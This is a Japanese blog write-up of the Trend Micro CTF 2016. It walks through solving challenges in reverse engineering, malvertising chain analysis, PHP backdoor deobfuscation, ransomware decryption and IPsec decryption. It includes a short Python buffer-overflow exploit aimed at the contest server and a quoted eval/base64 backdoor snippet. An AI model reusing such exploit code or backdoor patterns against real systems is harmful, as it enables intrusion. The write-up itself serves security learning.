LoginSignup
10
9

More than 5 years have passed since last update.

Trend Micro CTF 2016 write-up

Posted at

Trend Micro主催のCTF。去年はアジア地域限定だったけど、今年は全世界対象らしい。
http://www.trendmicro.co.jp/jp/sp/ctf2016_jp/

ぼっちチームsuperflipは、20位。時々10位以内に入れたけど、決勝の壁は厚い。

Analysis - Offensive

攻撃。

100

HTML Applications。実行可能ファイルっぽいアイコンだけど、中を開けばHTMLとJavaScript。

image

入力された登録鍵を3個の文字列に分けて、それぞれのMD5を計算して一致していれば通る。

a === ka.replace(/6/g,'2').replace(/b/g,'a').replace(/d/g,'4') というコードを見て、「情報が落ちているから自分でMD5を探索するルーチンを書かないといけない。面倒だな……」と思ったけど、入力した文字列のMD5はkaではなくaだった。わざわざMD5の出現文字種が少ない文字列を探したのか。

TMCTF{q6r4dy5ei2na1twm3}

200

バッファーオーバーフロー攻撃。バッファの直後の変数を書き換えるだけで、とても簡単。手元で試すこともなく、一発で成功した。

from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("52.197.128.90", 80))

print s.recv(8)

s.send("a"*1024+pack("<I", (0x7eaf^0xc0fe)<<16|(0xdae4^0x1a1a)))

print s.recv(5)
print s.recv(100)

TMCTF{e8eb549f48fb7}

300

Windowsアプリの解析。問題ファイルは、tempフォルダにファイルを書き出して実行するようになっているので、適当なところで止めてこのファイルを持ってくる。
スレッドをいくつか作って、コンピュータ名を取得したりとか色々やっている。処理が追い切れていないけど、エラーで終了するところを潰したりしていたら、蕫・nter{Thread-Traveler}と表示された。

TMCTF{Thread-Traveler}

400

ウェブサイトを閲覧していたら、suspiciousなファイルがダウンロードされたらしい。

  1. サイトのads.jsがGIF画像を読み込んで、埋め込まれたJavaScriptをページに追加する
  2. このスクリプトで<iframe>を書き出す
  3. 読み込まれたページ内でスクリプトで<object>を書いて、swfファイルを読み込む
  4. このswfの中で別のswfを復号してページに書き出す
  5. 別のswfの中で日時の条件が揃うと(?)JavaScriptが実行される
  6. JavaScript中で画像を復号して<img>で書き出す。ただし、width=0 height=0

という流れになっていた。真面目に処理を追ったけど、上手いこと実行させた方が楽だったかもしれない。

今まで、Flashファイルを解析しようと思っていくつかソフトを試しても、ちゃんと動いてくれなくて困っていたが、↓のソフトですごく綺麗にデコンパイルできた。今回のコンテストで一番の収穫。

JPEXS Free Flash Decompiler - Opensource SWF decompiler and editor

TMCTF{M4LV3RT1S1NG-EK}

Analysis - defensive

防御。

100

暗号化されたPHPファイル。暗号化とは言っても、'ev'.'al''echo'にでも変えれば読める。処理内容はバックドア。パスワードが必要で、sha1(md5($post))が埋め込まれた値になるかチェックしている。総当たりで探索してみたところ、h4ckだった。
このスクリプトが運営のサーバーに置いてあるわけでもないし、どうしろと……としばらく悩んでいたけど、ページ内の鍵の画像にコメントがあった。

45786966000049492a000800000002000f010200050000002600000010010200400000002c000000000000002f2e2a2f65006576616c286261736536345f6465636f646528225a574e6f6279416e5a6d78685a7942706379427a614745784b48426863334e3362334a6b4b5363372229293b
 ↓
eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7"));
 ↓
echo 'flag is sha1(password)';

passwordはh4ckのこと。

TMCTF{e17e98788d6b4ac922b2df100ef9398ae0f229ad}

400

ランサムウェアが暗号化したファイルを復号してくれという問題。
Offensive 300と同じように実際に実行されているファイルをコピーする。py2exeで生成されたプログラムなので、unpy2exeでpycを取り出し、uncompyle2でpyに戻す。識別子が難読化されているので、適当に置換する。

暗号化に使われている鍵が2個ある。鍵1は、

trend = 'TrEndMicRo'
key = ''
for i in range(5):
    key = key + random.choice(trend)
key = '!' + key + key + key + key + key + key + '!'

で、ランダムに生成されている。10万通り。鍵2は今日の8、20160731とか。両方の組み合わせは無理だが、片方なら全探索できる。
暗号化の流れは、

鍵1でAES → Base64 → 鍵2でRC4

を10回繰り返している。Base64があるので、暗号文を鍵2で復号したときにはBase64で復号できる文字列になっているはず。Base64が無ければ、AESのパディングなどが使えただろうか。暗号を複数組み合わせて強度アップ💪などと考えずに、暗号は素直に使いましょうと。

from itertools import *
from Crypto.Cipher import AES

key1 = "!MdEccMdEccMdEccMdEccMdEccMdEcc!"
key2 = "20163006"

for i in range(10):
    data = ilililililililililililililil(data, key2)
    data = data.decode("base64")

    salt = data[:16]
    data = data[16:]
    aes = AES.new(key1, AES.MODE_CBC, salt)
    data = aes.decrypt(data)
    data = data[:-ord(data[-1])]

open("dec.png", "wb").write(data)

画像には、Flag is a MD5 of original this file.と書いてある。dec.pngのMD5で通らなくてどのファイルのことかと思ったけど、MD5を大文字にしたら通った。

TMCTF{8457F2FDA0BF2BF1DB76121ED133B46E}

Forensic

1問も解けていない(´・ω・`)

Reversing

1問も解けていない(´;ω;`)

SCADA

1問も解けていない。・゚・(ノД`)・゚・。

SCADA(Supervisory Control And Data Acquisition の略)は、産業制御システムの一種であり、コンピュータによるシステム監視とプロセス制御を行う。対象プロセスは、以下のような生産工程やインフラや設備に関するものである。

情報セキュリティで今一番熱い分野だろうか。

Misc (IoT and Network)

100

IPsecの復号。途中平文で鍵を見ているので、このサイトのESPの手順をそのままやるだけ。HTTPでフラグの書かれた画像を取得している。

IPsec(ISAKMP、ESP)の復号化手順 - sai’s diary

TMCTF{GO_FOR_THE_CL}

200

ModemSettings.txtというファイルが渡されて、対応しているLTEバンドは何か?という問題。このサイトの通り。6828 (0x1AAC)のブロックをリトルエンディアンで読んで、下位ビットから順に1, 2, …らしい。

Android端末の対応バンドの変更について(NTTdocomoプラスエリア対応など) | AndMem

TMCTF{1,2,3,4,5,6,7,8,9,11,12,13,17,18,19,20,21,25,26}

400

去年に引き続きブラックジャック。プログラミングの問題っぽいし、それなら解けるだろと思って最後のほうに取り組んでいた。ブラックジャックに27連勝しろと。サーバーで動いているわけではなく手元に全てのファイルがあるし、フラグは27連勝したときの残りカードから計算しているしで、意味が分からず、色々悩んで終了。

27連勝できるような時刻を見つけ出せという問題だったらしい。方針さえ分かれば解けそうなので、あとで挑戦してみよう。

10
9
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
10
9